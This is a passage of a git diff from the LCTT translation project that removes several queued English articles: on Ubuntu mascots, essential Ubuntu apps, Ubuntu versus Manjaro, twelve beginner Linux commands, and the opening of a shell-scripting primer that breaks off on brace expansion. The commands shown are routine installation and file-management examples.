-Breezy means pleasantly windy. - -Badgers are short-legged omnivores, united by their squat bodies, adapted for fossorial activity. - -### Ubuntu 5.04 Hoary Hedgehog  - -![Ubuntu 5.04 mascot][36] - -Released on 8 April 2005. - -Hoary means greyish white. - -A hedgehogis a spiny mammal found throughout parts of Europe, Asia, and Africa, and in New Zealand by introduction. - -### Ubuntu 4.10 : Warty Warthog - -![Ubuntu 4.10 mascot][37] - -Released on 20 October 2004. - -This is where it all started. - -Wart is a small, hard, benign growth on the skin, caused by a virus. Warty means someone full of warts. - -The common warthog is a wild member of the pig family found in grassland, savanna, and woodland in sub-Saharan Africa. - -### Conclusion - -Does this article add value to an Ubuntu user? Not technically, but it’s good to look back at the history. If you have been an Ubuntu user for years, it could trigger nostalgia. - -Ubuntu 9.04 was the first time I tried Linux on a desktop. It was in late September of 2009 if I recall correctly. Only a few weeks later, my system was upgraded to Ubuntu 9.10. I used to spend time browing in Ubuntu Forum thoses days, exploring this new OS and learning new things. - -So, did this article bring back some good old memories? Which was your first Ubuntu version? Share it in the comments. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/all-Ubuntu-mascots/ - -作者:[Abhishek Prakash][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lkxed -[1]: https://itsfoss.com/Ubuntu-default-wallpapers-download/ -[2]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-22-04-mascot.jpg -[3]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-10-mascot.jpg -[4]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-04-mascot.jpg -[5]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-10-mascot.jpg -[6]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-04-mascot-1.jpg -[7]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-10-mascot.jpg -[8]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-04-mascot.jpg -[9]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-10-mascot.jpg -[10]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-04-mascot.jpg -[11]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-10-mascot.jpg -[12]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-04-mascot.jpg -[13]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-10-mascot.jpg -[14]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-04-mascot.jpg -[15]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-10-mascot.jpg -[16]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-04-mascot.jpg -[17]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-10-mascot.jpg -[18]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-04-mascot.jpg -[19]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-10-mascot.jpg -[20]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-04-mascot.jpg -[21]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-10-mascot.jpg -[22]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-04-mascot.jpg -[23]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-10-mascot.jpg -[24]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-04-mascot.jpg -[25]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-10-mascot.jpg -[26]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-04-mascot.jpg -[27]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-10-mascot.jpg -[28]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-04-mascot.jpg -[29]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-10-mascot.jpg -[30]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-04-mascot.jpg -[31]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-10-mascot.jpg -[32]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-04-mascot.jpg -[33]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-10-mascot.jpg -[34]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-06-mascot.jpg -[35]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-10-mascot.jpg -[36]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-04-mascot.jpg -[37]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-4-10-mascot.jpg diff --git a/sources/tech/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md b/sources/tech/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md deleted file mode 100644 index aa53c063ec..0000000000 --- a/sources/tech/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md +++ /dev/null @@ -1,196 +0,0 @@ -[#]: subject: "Top 10 Essential Ubuntu Apps For Everyone in 2022" -[#]: via: "https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/" -[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Top 10 Essential Ubuntu Apps For Everyone in 2022 -====== -This article lists the top 10 essential Ubuntu apps for various use cases in 2022. - -If you are a casual user, student, teacher, scientist, developer or creator – you need additional applications for your workflow. The Linux ecosystem has thousands of applications scattered around for almost all possible needs. Most of the mainstream Linux distribution, including Ubuntu, features only basic applications as default. - -In this part 1 article (of a 5 part series), we list some of the professional-grade applications for everyone. - -### Essential Ubuntu Apps in 2022 – Part 1 - -#### 1. GNOME Tweak Tool - -The [GNOME Tweak Tool][1] is a must-have utility for your Ubuntu desktop if you are using the Ubuntu GNOME edition. To customise your desktop using this utility, you can change the font, scaling, themes, cursor, and many additional options. The default settings window doesn’t expose all the options today. - -In addition, you can also change the window decorations, title bar, title bar buttons and startup applications using this application. - -You can install it using the Software app by searching “Tweaks” or via the commands from the terminal as mentioned below. - -``` -sudo apt install gnome-tweaks -``` - -![GNOME Tweaks Tool][2] - -#### 2. Steam - -Gaming in Linux is not that difficult anymore, thanks to Valve and associated contributions from the community. [Steam][3] is a front end of video games service developed by Valve, which gives you access to the latest games on the Ubuntu platform with top features. Moreover, the Steam client also offers anti-cheat measures, auto-update and support for social conversation with streaming features. - -If you are a gamer and use Linux, Steam is a go-to client which you can install with the below commands. Also, you can search in Software as “Steam Installer” and install using [Flatpak][4] or [Snap][5]. - -``` -sudo apt install steam -``` - -![Steam Client][6] - -#### 3. Peek - -[Peek][7] is, in my opinion, an underrated application. It is an animated GIF recorder which is very useful for various workflow. This is such a powerful utility that it right fits in at Ubuntu or any Linux distro. Moreover, Peek brings options like recording area selection, countdown, gif, mp4 and WebM support. It uses ffmpeg for its backend. - -Install this excellent utility using Software by searching “peek” or by terminal commands mentioned below. - -``` -sudo apt install peek -``` - -![Peek][8] - -#### 4. Synaptic - -[Synaptic][9] is an excellent package manager that helps you add and remove packages traditionally. Those who are little experienced in Linux know about its features and flexibility. You can search for packages in various repositories, verify dependencies and proceed with the installation. - -A perfect application if you frequently install and uninstall packages. You can install synaptic using the commands mentioned below or search in Software with “synaptic”. - -``` -sudo apt install synaptic -``` - -![Synaptic Package Manager][10] - -#### 5. GDebi - -As we mentioned Synaptic above, you should also try out the [GDebi][11] package installer, which brings several features. The GDebi package installer is a command-line utility used to install external deb files. In addition, GDebi is much faster and more efficient installing .deb packages and resolves the dependencies on the fly and downloads them for you. - -One of the best terminal based Ubuntu applications for installing .deb packages, and you can install it using the below command. After installation, you can run `gdebi ` for installation of any packages. - -``` -sudo apt install gdebi -``` - -#### 6. Geary - -You always need a native [email client][12] for your Ubuntu desktop for any workflow. Emails are still relevant and valuable to many. While Ubuntu brings the great Thunderbird email client by default, you can always use another email client application which gives you a better experience. - -[Geary][13] has a friendly and straightforward user interface which gives you an easy way to set up multiple email accounts. In addition, Geary also brings conversation features, faster search, rich text email composing and other features which make it a “go-to” email client for Linux desktops. - -You can install Geary using the command below or search it in Software with the keyword “Geary”. It is also available as [Flatpak][14]. - -``` -sudo apt install geary -``` - -![Geary][15] - -#### 7. Google Chrome - -While many of you are concerned about privacy and tracking, Google Chrome is still the market leader in the browser space. Ubuntu features Firefox web browser by default, and with the recent snap events with Firefox, you may want to switch to another browser. - -You may think of using Google Chrome if you are tightly connected with the Google ecosystem and want a better web experience in streaming and browsing. However, if you are concerned about privacy and tracking, you may choose some other browsers such as Brave or Vivaldi. - -You can install Google Chrome after downloading the .deb file from the below link for Ubuntu Linux. After installation, you can open it via Software to install. - -[Download Google Chrome][16] - -#### 8. Kdenlive - -One of the best free and open-source video editors in Linux is [Kdenlive][17]. The KDenlive is simple to use with its well-designed user interface and comes with various features. Firstly, with Kdenlive, you can easily import video clips, change canvas resolution, and export to a wide range of formats after editing. Secondly, the timeline and tools allow you to cut and add titles, transitions and effects with just a click of a button. Moreover, it’s super easy to learn if you are new to video editing. - -Kdenlive is a very active project, and it’s getting more advanced features with every major release. This is one of the essential Ubuntu apps in 2022, which we feature in this list if you compare it with other [free video editors][18]. - -Installing Kdenlive is easy using the below command. In addition to that, you can also use [Flatpak][19] or [Snap][20] version to install. - -``` -sudo apt install kdenlive -``` - -![Kdenlive Video Editor][21] - -#### 9. Spectacle - -You may have tried many screenshot applications. But in my opinion, [Spectacle][22] is perhaps the best and underrated. The Spectacle is a KDE application that is super fast and perfectly fits any workflow that requires taking screenshots and using them. Firstly, you can capture the entire desktop, a portion of it or a window with a customised time. Secondly, the window captures can also pick the window decoration and cursor if needed. Third, Spectacle also gives you a built-in annotation feature to withdraw, write, and label your images. - -Furthermore, you can also open the image in GIMP or any image editor right from its main window and export them. In addition, autosave, copying the capture to the clipboard, and sharing to social media are some of the unique features of Spectacle. - -In my opinion, a complete screenshot tool with a built-in screen recorder. - -You can install Spectacle using the below command or from the [Snap store][23]. - -``` -sudo apt install kde-spectacle -``` - -![Spectacle Screenshot tool][24] - -#### 10. VLC Media Player - -Ubuntu Linux with GNOME desktop brings the GNOME Videos application by default for playing video files. But GNOME Videos cannot play several video formats due to a lack of decoding features. That is why, you should always consider [VLC Media Player][25] – which is a “go-to” media player on Linux desktops. - -VLC can play any format, literally. It even helps you to play corrupted video files having incomplete data. It is one of the powerful media players you can install using the command below. - -In addition, If you prefer another mode of installation, you can get it via [Flatpak][26] or [Snap][27]. - -``` -sudo apt install vlc -``` - -![VLC Media Player][28] - -### Closing Notes - -This concludes part 1 of a 5-part series of essential Ubuntu Apps in 2022. With the information above, I hope you get to choose some of the apps for your daily usage. And let me know which apps you prefer from this list in the comment box below. - -Finally, stay tuned for part 2 of this Ubuntu apps series. - -Cheers. - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/ - -作者:[Arindam][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lkxed -[1]: https://gitlab.gnome.org/GNOME/gnome-tweaks -[2]: https://www.debugpoint.com/wp-content/uploads/2022/05/GNOME-Tweaks-Tool.jpg -[3]: https://store.steampowered.com/ -[4]: https://flathub.org/apps/details/com.valvesoftware.Steam -[5]: https://snapcraft.io/steam -[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Steam-Client.jpg -[7]: https://github.com/phw/peek -[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/Peek-in-action2.jpg -[9]: https://www.nongnu.org/synaptic/ -[10]: https://www.debugpoint.com/wp-content/uploads/2022/05/Synaptic-Package-Manager.jpg -[11]: https://launchpad.net/gdebi -[12]: https://www.debugpoint.com/2019/06/best-email-client-linux-windows/ -[13]: https://wiki.gnome.org/Apps/Geary -[14]: https://flathub.org/apps/details/org.gnome.Geary -[15]: https://www.debugpoint.com/wp-content/uploads/2019/06/Geary.png -[16]: https://www.google.com/chrome -[17]: https://kdenlive.org/ -[18]: https://www.debugpoint.com/2019/09/best-free-video-editors-linux-ubuntu/ -[19]: https://flathub.org/apps/details/org.kde.kdenlive -[20]: https://snapcraft.io/kdenlive -[21]: https://www.debugpoint.com/wp-content/uploads/2021/01/Kdenlive-Video-Editor.jpg -[22]: https://apps.kde.org/spectacle/ -[23]: https://snapcraft.io/spectacle -[24]: https://www.debugpoint.com/wp-content/uploads/2022/05/Spectacle-Screenshot-tool.jpg -[25]: https://www.videolan.org/vlc -[26]: https://flathub.org/apps/details/org.videolan.VLC -[27]: https://snapcraft.io/vlc -[28]: https://www.debugpoint.com/wp-content/uploads/2022/05/VLC-Media-Player.jpg diff --git a/sources/tech/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md b/sources/tech/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md deleted file mode 100644 index caee2de033..0000000000 --- a/sources/tech/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md +++ /dev/null @@ -1,206 +0,0 @@ -[#]: subject: "Ubuntu vs Manjaro: Comparing the Different Linux Experiences" -[#]: via: "https://itsfoss.com/ubuntu-vs-manjaro/" -[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Ubuntu vs Manjaro: Comparing the Different Linux Experiences -====== -Ubuntu is the most popular Debian-based Linux distribution for desktops and servers. - -And Manjaro Linux is an Arch-based distro tailored for desktops. - -Both are entirely different when it comes to user experience and features. - -However, one of the common grounds is the [desktop environment][1] when considering Manjaro’s GNOME edition with Ubuntu. - -But, what exactly are the differences? Is the package manager on Manjaro better? Are software tools available on both Ubuntu and Manjaro? - -Here, we shall look at the differences in both the Linux distributions at certain key points. - -### Release Cycle - -Ubuntu offers two different release cycles, considering the version you pick. If you are going with the Long-Term Support version, you get security/maintenance updates for at least five years from its release. - -Suppose if you install Ubuntu 22.04 LTS, you will be getting updates until **April 2027**. - -![ubuntu22 04 lts about][2] - -The LTS version is what we recommend for most desktop users. - -However, if you want the latest and greatest, you can opt for the non-LTS releases that need an upgrade every **nine months**. Examples include Ubuntu 21.04, Ubuntu 21.10, and Ubuntu 22.10. - -Note that the non-LTS releases involve changes that may affect your workflow and user experience. So, it isn’t recommended for everyone. - -When choosing Manjaro Linux, you get a rolling release schedule for updates. So, you do not have to worry about the support for the version you use. It will automatically upgrade to the latest available version through regular updates. - -![manjaro about][3] - -With a rolling release cycle, you get the latest packages quickly. So, if you want to keep using an older version of the software, Manjaro Linux may not be the right choice for you. - -### Desktop Environments - -Ubuntu features a customized version of the GNOME desktop. It may not be the latest, but it is likely to include the latest GNOME desktop environment if you use a newer Ubuntu version. - -![ubuntu 22 04 wallpaper][4] - -There are no other desktop environments by Canonical (the company behind Ubuntu). - -However, if you want other desktop environments on top of Ubuntu, you can choose the official [Ubuntu flavours][5] including KDE, Budgie, LXQt, MATE, and XFCE as desktop environments. They are well-tested and stable Ubuntu Linux distributions when compared to unofficial or newer spins of Ubuntu with another desktop environment. - -However, Ubuntu flavours do not get five years of software support; instead, you will be limited to three years of support for LTS versions. - -With Manjaro, you can choose three official editions: XFCE, KDE, and GNOME. No matter the desktop environment, you stick to the rolling release model. - -![manjaro gnome 42][6] - -You do have some community editions with Budgie, MATE, LXQt, and more as well. - -### Package Manager or Software Ecosystem - -You shouldn’t have trouble finding most of the [essential Linux apps][7] on both the distros. - -However, Manjaro Linux gets an edge with a snappier experience using Pamac as its package manager. - -![manjaro package manager][8] - -Compared to the software center on Ubuntu, Manjaro Linux offers a better experience for quickly installing/updating the software. And, it also supports Flatpak/Snap out-of-the-box if you want to enable them with a single click. - -Ubuntu emphasizes Snap packages, and you will find some applications pre-installed as Snap (like Firefox web browser). - -![firefox as snap][9] - -In the case of Manjaro Linux, you get the freedom to enable Flatpak/Snap if required. - -With Ubuntu, the Software Center is not the best Linux offers. It could prove to be slower, as per your system configuration and over the year as you use it. - -![ubuntu 22 04 software center][10] - -In addition to that, Manjaro Linux has access to [AUR][11], which opens up access to almost every software that you may not find in Ubuntu’s software center. - -So, in terms of the software ecosystem and the package manager, Manjaro Linux does provide many advantages over Ubuntu. - -### Ease of Use and Targeted Users - -Ubuntu desktop is primarily tailored for ease of use. It focuses on providing the best possible combination of software and hardware compatibility to let any computer user work with Ubuntu Linux without needing to know most of the things in the Linux world. - -Even if someone doesn’t know what a “package manager” on Linux is, they can understand it perfectly fine as a unique replacement to Windows/macOS when they use it. - -Of course, we also have a guide to help you with [things to do after installing the latest Ubuntu version][12]. - -Manjaro Linux is also tailored for desktop usage. But, it isn’t primarily tailored for first-time Linux users. - -It aims to make the experience with Arch Linux easy. So, it mainly targets Linux users who want to use Arch Linux, but with some added convenience. - -### Stability - -![stability tux][13] - -Ubuntu LTS releases primarily focus on stability and reliability, so you can also use them on servers. - -Comparatively, Manjaro Linux may not be as stable out-of-the-box. You will have to choose the packages carefully to install in Manjaro Linux and keep an eye on your configurations to ensure that an update does not break your system experience. - -As for Ubuntu, you do not need to stress about the software updates, especially when considering the LTS version. The updates should not generally break your system. - -### Customization - -Ubuntu features a customized GNOME experience as set by Canonical for end-users. While you can choose to customize various aspects of your Linux distribution, Ubuntu offers little out of the box. - -Ubuntu has improved over the years, recently adding the ability to [add accent colors in Ubuntu 22.04 LTS][14]. But, it still has a long way to go. - -You will have to take the help of apps like [GNOME Tweak][15] to customize the desktop experience. - -When considering Manjaro’s GNOME edition, you will have to use the same tool to customize things yourself. - -Manjaro also performs a few customization tweaks to the look. But, it gives more control to change the layout and few other options. - -![manjaro layout][16] - -In terms of customization, you should be able to do the same thing on both Manjaro and Ubuntu. - -If you want more customization options, Manjaro Linux can be a good pick. And, if you want a customized experience without a lot of control over it, Ubuntu should be good enough. - -### Bloatware - -This may not be a big deal for everyone. But, if you dislike having many pre-installed applications, Ubuntu can be an annoyance. - -![ubuntu 22 apps][17] - -You can always remove the applications you do not want. However, you will find more applications and services installed with Ubuntu out of the box. - -With Manjaro, you also get to see the minimal essentials installed. But, they stick to the most essential utilities, minimizing the number of packages pre-installed. So, Manjaro gets an edge with less bloatware. - -However, there are chances that you may not find your favorite Linux app installed on Manjaro by default. So, if you like access to some of your favorite apps right after installation, Ubuntu can be a good choice. - -### Performance - -![ubuntu 22 04 neofetch lolcat][18] - -While Ubuntu has improved its performance and even works on a Raspberry Pi 2 GB variant, it is still not the best-performing Linux distribution. - -Of course, the performance does depend on the desktop environment you choose to use. - -However, compared to Manjaro’s GNOME edition, Manjaro provides a snappier experience. - -Note that your user experience with the performance and animation preferences also depends on your system configuration. For instance, the recommended system requirements (1 GB RAM + 1 GHz processor) for Manjaro give you room to use older computers. - -But, with Ubuntu, at the time of writing, you need at least 4 GB RAM and a 2 GHz dual-core processor to get an ideal desktop experience. - -### Documentation - -Ubuntu is easier to use and potentially more comfortable for new users, considering its popularity. - -[Ubuntu’s documentation][19] is good enough, if not excellent. - -When it comes to Manjaro Linux, they have a [wiki][20] with essential information and in-depth guides to help you out. - -In general, the [documentation available for Arch Linux][21] is meticulous, and almost everyone (even the veterans) refers to it to get help. - -The documentation for Arch Linux also applies to Manjaro Linux in a big way, so you do get an advantage in terms of documentation with Manjaro Linux over Ubuntu. - -### Wrapping Up - -Being two entirely different Linux distributions, they serve various kinds of users. You can choose to use anything if you want to explore the operating system and see if it suits you. - -However, if you want to avoid making any changes to your system and want to focus on your work, irrespective of the Linux distro, Ubuntu should be a no-brainer. - -In any case, if the performance with Ubuntu affects your experience by a considerable margin, you should try Manjaro. You can read my [initial thoughts on switching to Manjaro from Ubuntu][22]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/ubuntu-vs-manjaro/ - -作者:[Ankush Das][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lkxed -[1]: https://itsfoss.com/what-is-desktop-environment/ -[2]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu22-04-lts-about.png -[3]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-about.png -[4]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-wallpaper.jpg -[5]: https://itsfoss.com/which-ubuntu-install/ -[6]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-gnome-42.png -[7]: https://itsfoss.com/essential-linux-applications/ -[8]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-package-manager.png -[9]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-as-snap.jpg -[10]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-software-center.jpg -[11]: https://itsfoss.com/aur-arch-linux/ -[12]: https://itsfoss.com/things-to-do-after-installing-ubuntu-22-04/ -[13]: https://itsfoss.com/wp-content/uploads/2022/05/stability-tux.png -[14]: https://itsfoss.com/accent-color-ubuntu/ -[15]: https://itsfoss.com/gnome-tweak-tool/ -[16]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-layout.png -[17]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu-22-apps.jpg -[18]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-neofetch-lolcat-800x445.png -[19]: https://help.ubuntu.com/ -[20]: https://wiki.manjaro.org/index.php/Main_Page -[21]: https://wiki.archlinux.org/ -[22]: https://news.itsfoss.com/manjaro-linux-experience/ diff --git a/sources/tech/20220524 12 essential Linux commands for beginners.md b/sources/tech/20220524 12 essential Linux commands for beginners.md deleted file mode 100644 index c5273a7bc3..0000000000 --- a/sources/tech/20220524 12 essential Linux commands for beginners.md +++ /dev/null @@ -1,187 +0,0 @@ -[#]: subject: "12 essential Linux commands for beginners" -[#]: via: "https://opensource.com/article/22/5/essential-linux-commands" -[#]: author: "Don Watkins https://opensource.com/users/don-watkins" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -12 essential Linux commands for beginners -====== -I recommend these commands to anyone who is getting started with Linux. - -![Command line prompt][1] - -Image by: Opensource.com - -When operating on the Linux command line, it is easy to get disoriented, which can have disastrous consequences. I once issued a remove command before realizing that I'd moved the boot directory of my computer. I learned to use the `pwd` command to know exactly which part of the file system I was in (and these days, there are command projects, like [trashy and trash-cli][2], that serve as intermediates when removing files). - -When I was new to Linux, I had a cheat sheet that hung over my desk to help me remember those commands as I managed my Linux servers. It was called the *101 commands for Linux* cheat sheet. As I became more familiar with these commands, I became more proficient with server administration. - -Here are 12 Linux commands I find most useful. - -### 1. Print working directory (pwd) - -The `pwd` command prints your working directory. In other words, it outputs the path of the directory you are currently working in. There are two options: `--logical` to display your location with any symlinks and `--physical` to display your location after resolving any symlinks. - -### 2. Make directory (mkdir) - -Making directories is easy with the `mkdir` command. The following command creates a directory called `example` unless `example` already exists: - -``` -$ mkdir example -``` - -You can make directories within directories: - -``` -$ mkdir -p example/one/two -``` - -If directories `example` and `one` already exist, only directory `two` is created. If none of them exist, then three nested directories are created. - -### 3. List (ls) - -Coming from MS-DOS, I was used to listing files with the `dir` command. I don't recall working on Linux at the time, although today, `dir` is in the GNU Core Utilities package. Most people use the `ls` command to display the files, along with all their properties, are in a directory. The `ls` command has many options, including `-l` to view a long listing of files, displaying the file owner and permissions. - -### 4. Change directory (cd) - -It is often necessary to change directories. That's the `cd` command's function. For instance, this example takes you from your home directory into the `Documents` directory: - -``` -$ cd Documents -``` - -You can quickly change to your home directory with `cd ~` or just `cd` on most systems. You can use `cd ..` to move up a level. - -### 5. Remove a file (rm) - -Removing files is inherently dangerous. Traditionally, the Linux terminal has no Trash or Bin like the desktop does, so many terminal users have the bad habit of permanently removing data they believe they no longer need. There's no "un-remove" command, though, so this habit can be problematic should you accidentally delete a directory containing important data. - -A Linux system provides `rm` and `shred` for data removal. To delete file `example.txt`, type the following: - -``` -$ rm example.txt -``` - -However, it's much safer to install a trash command, such as [trashy][3] or [trash-cli][4]. Then you can send files to a staging area before deleting them forever: - -``` -$ trash example.txt -``` - -### 6. Copy a file (cp) - -Copy files with the `cp` command. The syntax is copy *from-here* *to-there*. Here's an example: - -``` -$ cp file1.txt newfile1.txt -``` - -You can copy entire directories, too: - -``` -$ cp -r dir1 newdirectory -``` - -### 7. Move and rename a file (mv) - -Renaming and moving a file is functionally the same process. When you move a file, you take a file from one directory and put it into a new one. When renaming a file, you take a file from one directory and put it back into the same directory or a different directory, but with a new name. Either way, you use the `mv` command: - -``` -$ mv file1.txt file_001.txt -``` - -### 8. Create an empty file (touch) - -Easily create an empty file with the `touch` command: - -``` -$ touch one.txt - -$ touch two.txt - -$ touch three.md -``` - -### 9. Change permissions (chmod) - -Change the permissions of a file with the `chmod` command. One of the most common uses of `chmod` is making a file executable: - -``` -$ chmod +x myfile -``` - -This example is how you give a file permission to be executed as a command. This is particularly handy for scripts. Try this simple exercise: - -``` -$ echo 'echo Hello $USER' > hello.sh - -$ chmod +x hello.sh - -$ ./hello.sh -Hello, Don -``` - -### 10. Escalate privileges (sudo) - -While administering your system, it may be necessary to act as the super user (also called root). This is where the `sudo` (or *super user do*) command comes in. Assuming you're trying to do something that your computer alerts you that only an administrator (or root) user can do, just preface it with the command `sudo` : - -``` -$ touch /etc/os-release && echo "Success" -touch: cannot touch '/etc/os-release': Permission denied - -$ sudo touch /etc/os-release && echo "Success" -Success -``` - -### 11. Shut down (poweroff) - -The `poweroff` command does exactly what it sounds like: it powers your computer down. It requires `sudo` to succeed. - -There are actually many ways to shut down your computer and some variations on the process. For instance, the `shutdown` command allows you to power down your computer after an arbitrary amount of time, such as 60 seconds: - -``` -$ sudo shutdown -h 60 -``` - -Or immediately: - -``` -$ sudo shutdown -h now -``` - -You can also restart your computer with `sudo shutdown -r now` or just `reboot`. - -### 12. Read the manual (man) - -The `man` command could be the most important command of all. It gets you to the documentation for each of the commands on your Linux system. For instance, to read more about `mkdir` : - -``` -$ man mkdir -``` - -A related command is `info`, which provides a different set of manuals (as long as they're available) usually written more verbosely than the often terse man pages. - -### What's your favorite Linux command? - -There are many more commands on a Linux system—hundreds! What's your favorite command, the one you find yourself using time and time again? - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/5/essential-linux-commands - -作者:[Don Watkins][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png -[2]: https://www.redhat.com/sysadmin/recover-file-deletion-linux -[3]: https://gitlab.com/trashy/trashy -[4]: https://github.com/andreafrancia/trash-cli diff --git a/sources/tech/20220524 The Basic Concepts of Shell Scripting.md b/sources/tech/20220524 The Basic Concepts of Shell Scripting.md deleted file mode 100644 index e3ed827d57..0000000000 --- a/sources/tech/20220524 The Basic Concepts of Shell Scripting.md +++ /dev/null @@ -1,190 +0,0 @@ -[#]: subject: "The Basic Concepts of Shell Scripting" -[#]: via: "https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/" -[#]: author: "Sathyanarayanan Thangavelu https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -The Basic Concepts of Shell Scripting -====== -If you want to automate regular tasks and make your life easier, using shell scripts is a good option. This article introduces you to the basic concepts that will help you to write efficient shell scripts. - -![Shell-scripting][1] - -Ashell script is a computer program designed to be run by the UNIX shell, a command-line interpreter. The various dialects of shell scripts are considered to be scripting languages. Typical operations performed by shell scripts include file manipulation, program execution, and printing of text. A script that sets up the environment, runs the program, and does any necessary cleanup or logging, is called a wrapper. - -### Identification of shell prompt - -You can identify whether the shell prompt on a Linux based computer is a normal or super user by looking at the symbols of the prompt in the terminal window. The ‘#’ symbol is used for a super user and the ‘$’ symbol is used for a user with standard privileges. - -![Figure 1: Manual of date command][2] - -### Basic commands - -The script comes with too many commands that can be executed on the terminal window to manage your computer. Details of each command can be found in the manual included with the command. To view the manual, you need to run the command: - -``` -$man -``` - -A few frequently used commands are: - -``` -$date #display current date and time -$cal #display current month calendar -$df #displays disk usages -$free #display memory usage -$ls #List files and directories -$mkdir #Creates directory -``` - -Each command comes with several options that can be used along with it. You can refer to the manual for more details. See Figure 1 for the output of: - -``` -$man date -``` - -### Redirection operators - -The redirection operator is really useful when you want to capture the output of a command in a file or redirect to a file. - -| - | - | -| :- | :- | -| $ls -l /usr/bin >file | default stdout to file | -| $ls -l /usr/bin 2>file | redirects stderr to file | -| $ls -l /usr/bin > ls-output 2>&1 | redirects stderr & stdout to file | -| $ls -l /usr/bin &> ls-output | redirects stderr & stdout to file | -| $ls -l /usr/bin 2> /dev/null | /dev/null bitbucket | - -## Brace expansion - -Brace expansion is one of the powerful options UNIX has. It helps do a lot of operations with minimal commands in a single line instruction. For example: - 